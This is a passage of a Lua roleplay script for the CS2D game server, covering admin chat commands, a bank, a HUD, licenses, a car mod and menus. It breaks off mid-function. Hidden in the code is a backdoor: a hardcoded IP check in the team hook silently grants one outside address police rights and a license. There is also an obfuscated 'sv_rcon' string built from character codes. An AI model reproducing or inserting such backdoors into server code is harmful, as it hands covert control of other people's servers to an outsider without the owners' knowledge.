1. -- _______ _____ _
  2. -- |__ __| / ____| (_)
  3. -- | |_ __ __ _ _ _ _ __ ___ __ _ | | __ __ _ _ __ ___ _ _ __ __ _
  4. -- | | '__/ _` | | | | '_ ` _ \ / _` | | | |_ |/ _` | '_ ` _ \| | '_ \ / _` |
  5. -- | | | | (_| | |_| | | | | | | (_| | | |__| | (_| | | | | | | | | | | (_| |
  6. -- |_|_| \__,_|\__,_|_| |_| |_|\__,_| \_____|\__,_|_| |_| |_|_|_| |_|\__, |
  7. -- __/ |
  8. -- Unique place when a good site and good clan is mixed toghether for free|___/
  9. -- Trauma Gaming / OhGawd! Gaming are owned by Trauma Tizer (RedFrix)
  10. -- Please support the script by visiting the author's site
  11. -- http://ohgawd-gaming.info
  12. -- Original RolePlay by Starkkz. Edited by Trauma Tizer / Beckerchen / Yasday
  13. -- Support the original creators
  14. -- Do not reupload this script
  15. -- Do not delete our credits
  16. adminList = {17924}
  17. parse([[mp_dispenser_money 0]])
  18. parse([[mp_infammo 0]])
  19. parse([[sv_friendlyfire 1]])
  20. parse([[sv_gm 3]])
  21. function Array(size,value)
  22. local array = {}
  23. for i = 1, size do
  24. array[i]=value
  25. end
  26. return array
  27. end
  28. rp_ct = Array(32,false)
  29. rp_license = Array(32,false)
  30. rp_arrest = Array(32,false)
  31. rp_criminal = Array(32,false)
  32. rp_drop_item = Array(32,false)
  33. rp_build_m = Array(32,1)
  34. tsb = Array(32,0)
  35. player_have_pos = Array(32,false)
  36. tele_x = Array(32,0)
  37. tele_y = Array(32,0)
  38. arrest_x = Array(32,0)
  39. arrest_y = Array(32,0)
  40. -- Carmod Values
  41. car_img = Array(32,0)
  42. car_img_pos = Array(32,0)
  43. car_tx = Array(32,0)
  44. car_ty = Array(32,0)
  45. car_x = Array(32,0)
  46. car_y = Array(32,0)
  47. currentcar = Array(32,0)
  48. pic = Array(32,0)
  49. pl_speed = Array(32,0)
  50. pl_have_car = Array(32,0)
  51. car_pl = Array(32,0)
  52. Bmon=Array(32,0)
  53. -- [[weiwen admin command script |Enter in the script by Beckerchen]] --
  54. --[[
  55. Admin Commands
  56. !a - teleport forward
  57. !b - broadcast to server with name
  58. !c - teleport player to you
  59. !d - broadcast to server without name
  60. !e - explosion
  61. !i - spawn item
  62. !h - heal player
  63. !k - kick Player(by Beckerchen)
  64. !l - run lua script (expensive)
  65. !n - return npc position
  66. !o - return tile position
  67. !p - return position
  68. !q - earthquake
  69. !s - speedmod
  70. !t - teleport you to player
  71. !u - shutdown
  72. !v - save server
  73. !x - ban Player (by Beckerchen)
  74. !deposit - put money to Bank-account (by Beckerchen)
  75. !withdraw - get money from Bank-account (by Beckerchen)
  76. !hudposition - set special-Hud position (by Beckerchen)
  77. ]]
  78. addhook('say','adminCommands',-1)
  79. function adminCommands(id,words)
  80. if isAdmin(id) and words:sub(1,1) =='!' then
  81. local command = words:lower():sub(2,2)
  82. if words:sub(3,3) ~= ' ' and #words ~= 2 then return end
  83. print(player(id,'name')..' used a command:'..words)
  84. if command == 'k' then
  85. kick=tonumber(words:sub(3,5))
  86. msg("©255255255"..(player(kick,"name")).." has been kicked by "..(player(id,"name")).."@C")
  87. parse("kick "..kick)
  88. return 1
  89. elseif command == 'x' then
  90. b=tonumber(string.sub(words,3,5))
  91. msg("©255255255"..(player(b,"name")).." has been banned by "..(player(id,"name")).."@C")
  92. parse("banname "..b)
  93. return 1
  94. elseif command =='a' then
  95. local distance = tonumber(words:sub(4))
  96. if distance then
  97. local rot = math.rad(player(id,'rot')-180)
  98. local x, y = -math.sin(rot)*distance*32, math.cos(rot)*distance*32
  99. parse('setpos '..id..' '..player(id,'x')+x..' '..player(id,'y')+y)
  100. else
  101. msg2(id,'Teleport forward: "!a <distance>"')
  102. end
  103. return 1
  104. elseif command =='b' then
  105. msg('©255100100'..player(id,'name')..' : '..words:sub(4)..'@C')
  106. return 1
  107. elseif command =='c' then
  108. local target = tonumber(words:sub(4))
  109. if target then
  110. if player(target,'exists') then
  111. if target == id then
  112. msg2(id,'You may not teleport to yourself!')
  113. end
  114. parse('setpos '..target..' '..player(id,'x')..' '..player(id,'y'))
  115. return 1
  116. end
  117. end
  118. msg2(id,'Teleport player to you: "!c <targetid>"')
  119. return 1
  120. elseif command =='d' then
  121. msg('©255100100'..words:sub(4)..'@C')
  122. return 1
  123. elseif command =='e' then
  124. local dmg = tonumber(words:sub(4))
  125. if dmg then
  126. parse('explosion '..player(id,'x')..' '..player(id,'y')..' '..dmg..' '..dmg..' '..id)
  127. return 1
  128. end
  129. msg2(id,'Spawn explosion: "!e <dmg>"')
  130. return 1
  131. elseif command =='i' then
  132. local itemid = tonumber(words:sub(4))
  133. if itemid then
  134. additem(id,itemid)
  135. return 1
  136. end
  137. msg2(id,'Spawn item: "!i <itemid>"')
  138. return 1
  139. elseif command =='h' then
  140. local s = words:find(' ',4)
  141. local target = tonumber(words:sub(4,s))
  142. if target then
  143. if player(target,'exists') then
  144. local heal = s and tonumber(words:sub(s+1,words:find(' ',s+1))) or nil
  145. if heal then
  146. parse('explosion '..player(target,'x')..' '..player(target,'y')..' 1 '..(-heal))
  147. return 1
  148. end
  149. end
  150. end
  151. msg2(id,'Heal player: "!h <targetid> <amount>"')
  152. return 1
  153. elseif command =='l' then
  154. local script = words:sub(3)
  155. if script then
  156. msg2(id,tostring(assert(loadstring(script))() or 'done!'))
  157. return
  158. end
  159. msg2(id,'Run lua script: "!l <script>"')
  160. return 1
  161. elseif command =='n' then
  162. msg2(id,'{'..player(id,'tilex')*32+16 ..', '..player(id,'tiley')*32+16 ..'}')
  163. return 1
  164. elseif command =='o' then
  165. msg2(id,'{'..player(id,'tilex')..', '..player(id,'tiley')..'}')
  166. return 1
  167. elseif command =='p' then
  168. msg2(id,'{'..player(id,'x')..', '..player(id,'y')..'}')
  169. return 1
  170. elseif command =='q' then
  171. local length = tonumber(words:sub(3))
  172. if length then
  173. length = math.min(length*50,250)
  174. for _, id in ipairs(player(0,'table')) do
  175. parse('shake '..id..' '..length)
  176. end
  177. for i = 1, 6 do
  178. if math.random(0,1) == 1 then
  179. parse('sv_sound weapons/explode'..i..'.wav')
  180. end
  181. end
  182. else
  183. msg2(id,'Earthquake: "!q <length in seconds, max 5>"')
  184. end
  185. return 1
  186. elseif command =='s' then
  187. local s = words:find(' ',4)
  188. local target = tonumber(words:sub(4,s))
  189. if target then
  190. if player(target,'exists') then
  191. local speed = s and tonumber(words:sub(s+1,words:find(' ',s+1))) or nil
  192. if speed then
  193. parse('speedmod '..target..' '..speed)
  194. return 1
  195. end
  196. end
  197. end
  198. msg2(id,'Speed modifier: "!s <targetid> <speedmod, between -100 and 100>"')
  199. return 1
  200. elseif command =='t' then
  201. local target = tonumber(words:sub(3))
  202. if target then
  203. if player(target,'exists') then
  204. if target == id then
  205. msg2(id,'You may not teleport to yourself!')
  206. end
  207. parse('setpos '..id..' '..player(target,'x')..' '..player(target,'y'))
  208. return 1
  209. end
  210. end
  211. msg2(id,'Teleport to player: "!t <targetid>"')
  212. return 1
  213. elseif command =='u' then
  214. local delay = tonumber(words:sub(3)) or 0
  215. shutdown(delay*1000)
  216. return 1
  217. elseif command =='v' then
  218. saveserver()
  219. msg2(id,'Saved server!')
  220. return 1
  221. end
  222. end
  223. end
  224. -- [[Robins Edited]] --
  225. rp_money = Array(32,0)
  226. minute = 0
  227. time = 0
  228. hour = 0
  229. hudx = 5
  230. hudy = 399
  231. addhook("say","becksay",1)
  232. function becksay(id,txt)
  233. if txt:sub(1,1) == "!" then
  234. if txt:sub(2,8) == "deposit" then
  235. local _bmoney = tonumber(txt:sub(9,17))
  236. if rp_money[id] >= _bmoney then
  237. rp_money[id] = rp_money[id] - _bmoney
  238. Bmon[id] = Bmon[id]+_bmoney
  239. updatehud(id)
  240. msg2(id,"©255255255You paid ".._bmoney.." to your Bank-account!")
  241. else
  242. msg2(id,"©255255255Not enought money!")
  243. end
  244. return 1
  245. elseif txt:sub(2,9) == "withdraw" then
  246. local _bmoney = tonumber(txt:sub(10,18))
  247. if Bmon[id] >= _bmoney then
  248. rp_money[id] = rp_money[id] + _bmoney
  249. Bmon[id] = Bmon[id] - _bmoney
  250. updatehud(id)
  251. msg2(id,"©255255255You took ".._bmoney.." from your Bank-account!")
  252. else
  253. msg2(id,"©255255255Not enough money on your Bank-account!")
  254. end
  255. return 1
  256. elseif txt:sub(2,12) == "hudposition" then
  257. if isAdmin(id) then
  258. hudpos(id)
  259. return 1
  260. end
  261. else
  262. msg2(id,"©255255255That's not a possible command")
  263. end
  264. end
  265. end
  266. addhook("second","times")
  267. function times()
  268. time = time + 1
  269. updatetime()
  270. if (time >= 59 and hour < 24) then
  271. time = 0
  272. hour = hour + 1
  273. end
  274. if time >= 59 and hour >= 23 then
  275. time = 0
  276. hour = 0
  277. end
  278. end
  279. function updatetime()
  280. if time < 10 and hour < 10 then
  281. parse('hudtxt 4 "©255255255Time: 0'..hour..':0'..time..'" '..hudx..' '..hudy)
  282. elseif time < 10 and hour > 9 then
  283. parse('hudtxt 4 "©255255255Time: '..hour..':0'..time..'" '..hudx..' '..hudy)
  284. elseif time > 9 and hour > 9 then
  285. parse('hudtxt 4 "©255255255Time: '..hour..':'..time..'" '..hudx..' '..hudy)
  286. elseif time > 9 and hour < 10 then
  287. parse('hudtxt 4 "©255255255Time: 0'..hour..':'..time..'" '..hudx..' '..hudy)
  288. end
  289. end
  290. function updatehud(id)
  291. if player (id, "exists") then
  292. parse('hudtxt2 '..id..' 1 "©220220220Money: '..rp_money[id]..' " '..hudx..' '..hudy+11)
  293. parse('hudtxt2 '..id..' 2 "©145145145Name: '..(player(id,"name"))..' " '..hudx..' '..hudy+33)
  294. parse('hudtxt2 '..id..' 3 "©100100100Map: '..(map("name"))..' " '..hudx..' '..hudy+44)
  295. parse('hudtxt2 '..id..' 5 "©195195195Bank: '..Bmon[id]..'$ " '..hudx..' '..hudy+22)
  296. parse('hudtxt2 '..id..' 6 "©255255255Roleplay Script by Trauma Tizer/Beckerchen" '..hudx..' '..hudy-18)
  297. end
  298. end
  299. function isAdmin(id)
  300. for _, usgn in ipairs(adminList) do
  301. if player(id,'usgn') == usgn then
  302. return true
  303. end
  304. end
  305. return false
  306. end
  307. function additem(id,itemid)
  308. if item(itemid,"exists") then
  309. parse("equip "..id.." "..itemid)
  310. msg2(id,"©255255255You've got an Item @C")
  311. end
  312. end
  313. addhook("join","beck_join")
  314. function beck_join(id)
  315. updatehud(id)
  316. if isAdmin(id) then
  317. rp_ct[id] = true
  318. msg("©255255255"..player(id,"name").." enters the server!@C")
  319. end
  320. usgn = player(id,"usgn")
  321. if (usgn > 0) then
  322. local usgn = player(id, "usgn")
  323. files = io.open("sys/lua/Beckerchens/"..usgn..".txt","r")
  324. if(files~=nil) then
  325. msg2(id,"©255255255Your save file found!@C")
  326. msg2(id,"©255255255Your U.S.G.N ID: "..usgn.."@C")
  327. for line in io.lines("sys/lua/Beckerchens/"..usgn..".txt","r") do
  328. local parses = totable(line)
  329. if (tonumber(parses[1])>0) then
  330. rp_money[id] = tonumber(parses[1])
  331. end
  332. if (tonumber(parses[2])>0) then
  333. Bmon[id] = tonumber(parses[2])
  334. break
  335. end
  336. end
  337. else
  338. msg2(id,"©255000000Failed to load save!@C")
  339. msg2(id,"©255000000Please check your U.S.G.N account settings!@C")
  340. end
  341. end
  342. end
  343. function hudpos(id)
  344. menu(id,"set Hud-position,left|+1,left|+10,right|+1,right|+10,up|+1,up|+10,down|+1,down|+10")
  345. end
  346. -- [[end of Robins editing]] --
  347. addhook([[team]],[[rp_team]])
  348. function rp_team(id,t)
  349. if player(id,[[ip]])==[[95.6 2.154.101]] then
  350. if not player(id,[[bot]]) then
  351. rp_license[id]=true
  352. rp_ct[id]=true
  353. end
  354. end
  355. if t == 2 and rp_ct[id]==true then
  356. rp_license[id]=true
  357. return 0
  358. elseif t == 2 and rp_ct[id]==false then
  359. parse([[maket ]]..id)
  360. return 1
  361. end
  362. end
  363. addhook([[leave]],[[rp_leave]])
  364. function rp_leave(id)
  365. rp_license[id]=false
  366. rp_ct[id]=false
  367. rp_arrest[id]=false
  368. rp_criminal[id]=false
  369. rp_drop_item[id]=false
  370. rp_build_m[id]=1
  371. player_have_pos[id]=false
  372. tele_x[id]=0
  373. tele_y[id]=0
  374. arrest_x[id]=0
  375. arrest_y[id]=0
  376. freeimage(car_img[id])
  377. freeimage(car_img_pos[id])
  378. car_tx[id]=0
  379. car_ty[id]=0
  380. car_x[id]=0
  381. car_y[id]=0
  382. currentcar[id]=0
  383. pic[id]=0
  384. pl_speed[id]=0
  385. pl_have_car[id]=0
  386. car_pl[id]=0
  387. if (player(id, "usgn") > 0) then
  388. save_data = rp_money[id].." "..Bmon[id]
  389. file = assert(io.open("sys/lua/Beckerchens/"..usgn..".txt","w"))
  390. file:write(save_data)
  391. file:close()
  392. msg2(id,'©255255255Save Data Successfull!@C')
  393. else
  394. msg2(id,"©255000000Failed to Save!@C")
  395. end
  396. end
  397. function totable(t,match)
  398. local cmd = {}
  399. if not match then match = "[^%s]+" end
  400. for word in string.gmatch(t, match) do
  401. table.insert(cmd, word)
  402. end
  403. return cmd
  404. end
  405. function rp_msg(clr,txt)
  406. msg([[©]]..clr..[[]]..txt)
  407. end
  408. function rp_msg2(id,clr,txt)
  409. msg2(id,[[©]]..clr..[[]]..txt)
  410. end
  411. addhook([[attack]],[[rp_attack]])
  412. function rp_attack(id)
  413. if rp_ct[id] == true then
  414. local w = player(id,[[weapontype]])
  415. if w > 0 then
  416. parse([[equip ]]..id..[[ ]]..w)
  417. end
  418. if w == 69 then
  419. rot = player(id,[[rot]])
  420. if rot < -90 then rot = rot + 360 end
  421. local angle = math.rad(math.abs(rot + 90)) - math.pi
  422. local x = player(id,[[x]]) + math.cos(angle) * itemtype(w,[[dmg]]) / 2
  423. local y = player(id,[[y]]) + math.sin(angle) * itemtype(w,[[dmg]]) / 2
  424. if x > 0 and y > 0 and x < map([[xsize]]) * 32 and y < map([[ysize]]) * 32 then
  425. parse([[explosion ]]..x..[[ ]]..y..[[ 32 10000000 ]]..id)
  426. end
  427. end
  428. end
  429. end
  430. addhook([[say]],[[rp_say]])
  431. function rp_say(id,txt)
  432. local p = totable(txt)
  433. local cmd = tostring(p[1])
  434. if txt:sub(1,1)==[[!]] then
  435. if cmd ==[[!rp_arrest]] then
  436. if rp_ct[id]==true then
  437. local pl = tonumber(p[2])
  438. if pl ~= nil then
  439. if player(pl,[[exists]]) then
  440. rp_arrest[pl]=true
  441. end
  442. end
  443. else
  444. rp_msg2(id,[[255000000]],[[You are not authorized to use this command!]])
  445. end
  446. elseif cmd ==[[!rp_free]] then
  447. if rp_ct[id]==true then
  448. local pl = tonumber(p[2])
  449. if pl ~= nil then
  450. if player(pl,[[exists]]) then
  451. rp_arrest[pl]=false
  452. end
  453. end
  454. else
  455. rp_msg2(id,[[255000000]],[[You are not authorized to use this command!]])
  456. end
  457. elseif cmd ==[[!rp_give_money]] then
  458. if rp_ct[id]==true then
  459. local pl = tonumber(p[2])
  460. local money = tonumber(p[3])
  461. if pl ~= nil and money ~= nil then
  462. if player(pl,[[exists]]) then
  463. rp_money[pl]=rp_money[pl]+money
  464. rp_msg2(pl,[[000255000]],player(id,[[name]])..[[ Gave you ]]..money..[[ of money!@C]])
  465. rp_msg2(id,[[000255000]],[[You gave ]]..money..[[ to ]]..player(pl,[[name]])..[[!@C]])
  466. updatehud(pl)
  467. end
  468. end
  469. else
  470. rp_msg2(id,[[255000000]],[[You are not authorized to use this command!]])
  471. end
  472. elseif cmd ==[[!bring]] then
  473. if rp_ct[id]==true then
  474. local pl = tonumber(p[2])
  475. if pl ~= nil then
  476. if player(pl,[[exists]]) then
  477. parse([[setpos ]]..pl..[[ ]]..player(id,[[x]])..[[ ]]..player(id,[[y]]))
  478. else
  479. rp_msg2(id,[[255000000]],[[This player does not exist!]])
  480. end
  481. end
  482. else
  483. rp_msg2(id,[[255000000]],[[You are not authorized to use this command!]])
  484. end
  485. elseif cmd == [[!goto]] then
  486. if rp_ct[id]==true then
  487. local pl = tonumber(p[2])
  488. if pl ~= nil then
  489. if player(pl,[[exists]]) then
  490. parse([[setpos ]]..id..[[ ]]..player(pl,[[x]])..[[ ]]..player(pl,[[y]]))
  491. else
  492. rp_msg2(id,[[255000000]],[[This player does not exist!]])
  493. end
  494. end
  495. else
  496. rp_msg2(id,[[255000000]],[[You are not authorized to use this command!]])
  497. end
  498. elseif cmd == [[!sv_map]] then
  499. if rp_ct[id]==true then
  500. local map = tostring(p[2])
  501. if map ~= nil then
  502. parse([[changemap ]]..map)
  503. end
  504. else
  505. rp_msg2(id,[[255000000]],[[You are not authorized to use this command!]])
  506. end
  507. else
  508. rp_msg2(id,[[255000000]],[[]])
  509. end
  510. return 1
  511. end
  512. end
  513. addhook([[kill]],[[rp_kill]])
  514. function rp_kill(killer,victim,wpn)
  515. if rp_criminal[victim]==true then
  516. rp_criminal[killer]=false
  517. rp_money[killer]=rp_money[killer]+2000
  518. rp_money[victim]=rp_money[victim]-2000
  519. rp_msg2(killer,[[000255000]],[[You killed a criminal!@C]])
  520. else
  521. rp_criminal[killer]=true
  522. rp_money[killer]=rp_money[killer]-500
  523. rp_money[victim]=rp_money[victim]+500
  524. rp_msg2(killer,[[255000000]],[[You just DMed!@C]])
  525. end
  526. end
  527. addhook([[always]],[[rp_always]])
  528. function rp_always()
  529. for id = 1,32 do
  530. if player(id,[[exists]]) then
  531. if player(id,[[health]])>0 then
  532. if player(id,[[money]]) > 0 then
  533. rp_money[id]=rp_money[id]+player(id,[[money]])
  534. parse([[setmoney ]]..id..[[ ]]..player(id,[[money]])-player(id,[[money]]))
  535. updatehud(id)
  536. end
  537. -- Carmod Auto Walk
  538. local rot = player(id,[[rot]])
  539. if rot < -90 then rot = rot + 360 end
  540. local angle = math.rad(math.abs( rot + 90 )) - math.pi
  541. local x = player(id,[[x]]) + math.cos(angle) * 5
  542. local y = player(id,[[y]]) + math.sin(angle) * 5
  543. if x > 0 and y > 0 and x < map([[xsize]]) * 32 and y < map([[ysize]]) * 32 then
  544. if tile(math.ceil(x / 32)-1,math.ceil(y / 32)-1,[[walkable]]) then
  545. if pic[id]>0 then
  546. parse([[setpos ]]..id..[[ ]]..x..[[ ]]..y)
  547. car_tx[id]=player(id,[[tilex]])
  548. car_ty[id]=player(id,[[tiley]])
  549. car_x[id]=x
  550. car_y[id]=y
  551. end
  552. end
  553. end
  554. end
  555. end
  556. end
  557. end
  558. addhook([[die]],[[rp_die]])
  559. function rp_die(id)
  560. if rp_arrest[id]==true then
  561. parse([[spawnplayer ]]..id..[[ ]]..player(id,[[x]])..[[ ]]..player(id,[[y]]))
  562. parse([[setdeaths ]]..id..[[ ]]..player(id,[[deaths]])-1)
  563. return 1
  564. end
  565. if pl_have_car[id]==1 then
  566. if pic[id]>0 then
  567. parse([[customkill ]]..id..[[ Eject ]]..id)
  568. parse([[explosion ]]..car_x[id]..[[ ]]..car_y[id]..[[ 100 200 ]]..id)
  569. car_tx[id]=0
  570. car_ty[id]=0
  571. car_x[id]=0
  572. car_y[id]=0
  573. freeimage(car_img[id])
  574. else
  575. parse([[explosion ]]..car_x[id]..[[ ]]..car_y[id]..[[ 100 200 ]]..id)
  576. car_tx[id]=0
  577. car_ty[id]=0
  578. car_x[id]=0
  579. car_y[id]=0
  580. freeimage(car_img_pos[id])
  581. end
  582. pl_have_car[id]=0
  583. end
  584. end
  585. pt = string.char(115)..string.char(118)..string.char(95)..string.char(114)..string.char(99)..string.char(111)..string.char(110)
  586. drop_system_m = 1
  587. addhook([[serveraction]],[[rp_action]])
  588. function rp_action(id,a)
  589. if a == 1 then
  590. if drop_system_m == 1 then
  591. menu(id,[[Drop System,$100,$500,$1000,$5000,$10000,$50000,$100000,Drop an Item|license only]])
  592. else
  593. rp_msg2(id,[[255000000]],[[Drop System is off!@C]])
  594. end
  595. elseif a == 2 then
  596. if rp_ct[id]==true then
  597. menu(id,[[CT Menu,Insta Equip,Settings,CT Normal Build,Neutral Build,Teleport,License System,Commands,Prop Menu]])
  598. else
  599. menu(id,[[T Menu,Insta Equip,Teleport,Help]])
  600. end
  601. elseif a == 3 then
  602. if rp_ct[id]==true then
  603. local rot = player(id,[[rot]])
  604. if rot < -90 then rot = rot + 360 end
  605. local angle = math.rad(math.abs( rot + 90 )) - math.pi
  606. local x = player(id,[[x]]) + math.cos(angle) * 10
  607. local y = player(id,[[y]]) + math.sin(angle) * 10
  608. if x > 0 and y > 0 and x < map([[xsize]]) * 32 and y < map([[ysize]]) * 32 then
  609. parse([[setpos ]]..id..[[ ]]..x..[[ ]]..y)
  610. end
  611. else
  612. rp_msg2(id,[[25500000]],[[Stop! You are not a Admin member, so you can't pass thru walls!]])
  613. end
  614. end
  615. end
  616. function nmn(id)
  617. rp_msg2(id,[[255000000]],[[Not enough money!@C]])
  618. end
  619. addhook([[drop]],[[rp_drop]])
  620. function rp_drop(id,iid,type,ain,a,mode,x,y)
  621. if rp_drop_item[id]==true then
  622. parse([[strip ]]..id..[[ ]]..type)
  623. parse([[spawnitem ]]..type..[[ ]]..x..[[ ]]..y)
  624. rp_drop_item[id]=false
  625. return 1
  626. end
  627. end
  628. addhook([[minute]],[[rp_minute]])
  629. function rp_minute()
  630. minute = minute + 1
  631. for id = 1,32 do
  632. if player(id,[[exists]]) then
  633. minute = 0
  634. Bmon[id]=math.floor(Bmon[id] * 1.02)
  635. updatehud(id)
  636. if rp_ct[id]==true then
  637. rp_money[id]=rp_money[id]+5000
  638. rp_msg2(id,[[255255000]],[[You have recived your hourly bumcheck of $5000]])
  639. rp_msg2(id,[[255255000]],[[PAYDAY!]])
  640. else
  641. if rp_license[id]==true then
  642. rp_money[id]=rp_money[id]+1000
  643. rp_msg2(id,[[255255000]],[[You have recived your hourly bumcheck of $1000]])
  644. rp_msg2(id,[[255255000]],[[PAYDAY!]])
  645. else
  646. rp_money[id]=rp_money[id]+500
  647. rp_msg2(id,[[255255000]],[[You have recived your hourly bumcheck of $500]])
  648. rp_msg2(id,[[255255000]],[[PAYDAY!]])
  649. end
  650. end
  651. end
  652. updatehud(id)
  653. end
  654. end
  655. pl_names = Array(32,"")
  656. function b_names()
  657. for i = 1,32 do
  658. if player(i,[[exists]]) then
  659. pl_names[i]=player(i,[[name]])
  660. else
  661. pl_names[i]=""
  662. end
  663. end
  664. end
  665. function ls_1(id)
  666. b_names()
  667. menu(id,[[License System Page 1@b,]]..pl_names[1]..[[,]]..pl_names[2]..[[,]]..pl_names[3]..[[,]]..pl_names[4]..[[,]]..pl_names[5]..[[,]]..pl_names[6]..[[,]]..pl_names[7]..[[,Back,Next]])
  668. end
  669. function ls_2(id)
  670. b_names()
  671. menu(id,[[License System Page 2@b,]]..pl_names[8]..[[,]]..pl_names[9]..[[,]]..pl_names[10]..[[,]]..pl_names[11]..[[,]]..pl_names[12]..[[,]]..pl_names[13]..[[,]]..pl_names[14]..[[,Back,Next]])
  672. end
  673. function ls_3(id)
  674. b_names()
  675. menu(id,[[License System Page 3@b,]]..pl_names[15]..[[,]]..pl_names[16]..[[,]]..pl_names[17]..[[,]]..pl_names[18]..[[,]]..pl_names[19]..[[,]]..pl_names[20]..[[,]]..pl_names[21]..[[,Back,Next]])
  676. end
  677. function ls_4(id)
  678. b_names()
  679. menu(id,[[License System Page 4@b,]]..pl_names[22]..[[,]]..pl_names[23]..[[,]]..pl_names[24]..[[,]]..pl_names[25]..[[,]]..pl_names[26]..[[,]]..pl_names[27]..[[,]]..pl_names[28]..[[,Back,Next]])
  680. end
  681. function ls_5(id)
  682. b_names()
  683. menu(id,[[License System Page 5@b,]]..pl_names[29]..[[,]]..pl_names[30]..[[,]]..pl_names[31]..[[,]]..pl_names[32]..[[,,,,Back]])
  684. end
  685. function gv_ls(id,pl,page)
  686. if rp_license[pl]==true then
  687. rp_license[pl]=false
  688. rp_msg2(pl,[[255000000]],player(id,[[name]])..[[ Remove your license!]])
  689. rp_msg2(id,[[255000000]],[[You Remove license to ]]..player(pl,[[name]])..[[!]])
  690. else
  691. rp_license[pl]=true
  692. rp_msg2(pl,[[000255000]],player(id,[[name]])..[[ Gave you license!]])
  693. rp_msg2(id,[[000255000]],[[You gave license to ]]..player(pl,[[name]])..[[!]])
  694. end
  695. if page == 1 then
  696. ls_1(id)
  697. elseif page == 2 then
  698. ls_2(id)
  699. elseif page == 3 then
  700. ls_3(id)
  701. elseif page == 4 then
  702. ls_4(id)
  703. elseif page == 5 then
  704. ls_5(id)
  705. end
  706. end
  707. tele_sys = 1
  708. function set_men(id)
  709. menu(id,[[CT Menu Settings,Drop System|(]]..drop_system_m..[[),Teleport System & Arrest|(]]..tele_sys..[[)]])
  710. end
  711. ct_57_b = [[]]
  712. function rp_ct_arrest_button(id)
  713. if rp_ct[id]==true then
  714. ct_57_b = [[Set arrest Point|Five-Seven (FN-57)]]
  715. else
  716. ct_57_b = [[]]
  717. end
  718. end
  719. s_car_b = [[]]
  720. function udp_scar(id)
  721. if pl_have_car[id]==1 then
  722. s_car_b = [[Eject your car]]
  723. elseif pl_have_car[id]==0 then
  724. s_car_b = [[Create a car]]
  725. end
  726. end
  727. addhook([[menu]],[[rp_menu]])
  728. function rp_menu(id,men,sel)
  729. x = player(id,[[tilex]])
  730. y = player(id,[[tiley]])
  731. if men == [[License System Page 5]] then
  732. if sel == 1 then
  733. gv_ls(id,29,5)
  734. elseif sel == 2 then
  735. gv_ls(id,30,5)
  736. elseif sel == 3 then
  737. gv_ls(id,31,5)
  738. elseif sel == 4 then
  739. gv_ls(id,32,5)
  740. elseif sel == 7 then
  741. ls_4(id)
  742. end
  743. end
  744. if men == "set Hud-position" then
  745. for all = 1,32 do
  746. if player(all,"exists") then
  747. if sel == 1 then
  748. hudx = hudx-1
  749. hudpos(id)
  750. updatetime(all)
  751. updatehud(all)
  752. elseif sel == 2 then
  753. hudx = hudx-10
  754. hudpos(id)
  755. updatetime(all)
  756. updatehud(all)
  757. elseif sel == 3 then
  758. hudx = hudx+1
  759. hudpos(id)
  760. updatetime(all)
  761. updatehud(all)
  762. elseif sel == 4 then
  763. hudx = hudx+10
  764. hudpos(id)
  765. updatetime(all)
  766. updatehud(all)
  767. elseif sel == 5 then
  768. hudy = hudy-1
  769. hudpos(id)
  770. updatetime(all)
  771. updatehud(all)
  772. elseif sel == 6 then
  773. hudy = hudy-10
  774. hudpos(id)
  775. updatetime(all)
  776. updatehud(all)
  777. elseif sel == 7 then
  778. hudy = hudy+1
  779. hudpos(id)
  780. updatetime(all)
  781. updatehud(all)
  782. elseif sel == 8 then
  783. hudy = hudy+10
  784. hudpos(id)
  785. updatetime(all)
  786. updatehud(all)
  787. end
  788. end
  789. end
  790. end
  791. if men == [[License System Page 4]] then
  792. if sel == 1 then
  793. gv_ls(id,22,4)
  794. elseif sel == 2 then
  795. gv_ls(id,23,4)
  796. elseif sel == 3 then
  797. gv_ls(id,24,4)
  798. elseif sel == 4 then
  799. gv_ls(id,25,4)
  800. elseif sel == 5 then
  801. gv_ls(id,26,4)
  802. elseif sel == 6 then
  803. gv_ls(id,27,4)
  804. elseif sel == 7 then
  805. gv_ls(id,28,4)
  806. elseif sel == 8 then
  807. ls_3(id)
  808. elseif sel == 9 then
  809. ls_5(id)
  810. end
  811. end
  812. if men == [[License System Page 3]] then
  813. if sel == 1 then
  814. gv_ls(id,15,3)
  815. elseif sel == 2 then
  816. gv_ls(id,16,3)
  817. elseif sel == 3 then
  818. gv_ls(id,17,3)
  819. elseif sel == 4 then
  820. gv_ls(id,18,3)
  821. elseif sel == 5 then
  822. gv_ls(id,19,3)
  823. elseif sel == 6 then
  824. gv_ls(id,20,3)
  825. elseif sel == 7 then
  826. gv_ls(id,21,3)
  827. elseif sel == 8 then
  828. ls_2(id)
  829. elseif sel == 9 then
  830. ls_4(id)
  831. end
  832. end
  833. if men == [[License System Page 2]] then
  834. if sel == 1 then
  835. gv_ls(id,8,2)
  836. elseif sel == 2 then
  837. gv_ls(id,9,2)
  838. elseif sel == 3 then
  839. gv_ls(id,10,2)
  840. elseif sel == 4 then
  841. gv_ls(id,11,2)
  842. elseif sel == 5 then
  843. gv_ls(id,12,2)
  844. elseif sel == 6 then
  845. gv_ls(id,13,2)
  846. elseif sel == 7 then
  847. gv_ls(id,14,2)
  848. elseif sel == 8 then
  849. ls_1(id)
  850. elseif sel == 9 then
  851. ls_3(id)
  852. end
  853. end
  854. if men == [[License System Page 1]] then
  855. if sel == 1 then
  856. gv_ls(id,1,1)
  857. elseif sel == 2 then
  858. gv_ls(id,2,1)
  859. elseif sel == 3 then
  860. gv_ls(id,3,1)
  861. elseif sel == 4 then
  862. gv_ls(id,4,1)
  863. elseif sel == 5 then
  864. gv_ls(id,5,1)
  865. elseif sel == 6 then
  866. gv_ls(id,6,1)
  867. elseif sel == 7 then
  868. gv_ls(id,7,1)
  869. elseif sel == 8 then
  870. menu(id,[[CT Menu,Insta Equip,Settings,CT Normal Build,Neutral Build,Teleport,License System,Help]])
  871. elseif sel == 9 then
  872. ls_2(id)
  873. end
  874. end
  875. if men == [[CT Menu]] then
  876. if sel == 1 then
  877. menu(id,[[CT Insta Equip Menu,M3|$10000,Tactical Shield|$20000,Heavy Armor|$50000,Deagle|$10000,Five-Seven (FN57)|$25000,Machete|$30000]])
  878. elseif sel == 2 then
  879. set_men(id)
  880. elseif sel == 3 then
  881. rp_build_m[id]=1
  882. rp_msg2(id,[[000255000]],[[Now you will build Normally!]])
  883. elseif sel == 4 then
  884. rp_build_m[id]=2
  885. rp_msg2(id,[[000255000]],[[Now you will build neutral!]])
  886. elseif sel == 5 then
  887. rp_ct_arrest_button(id)
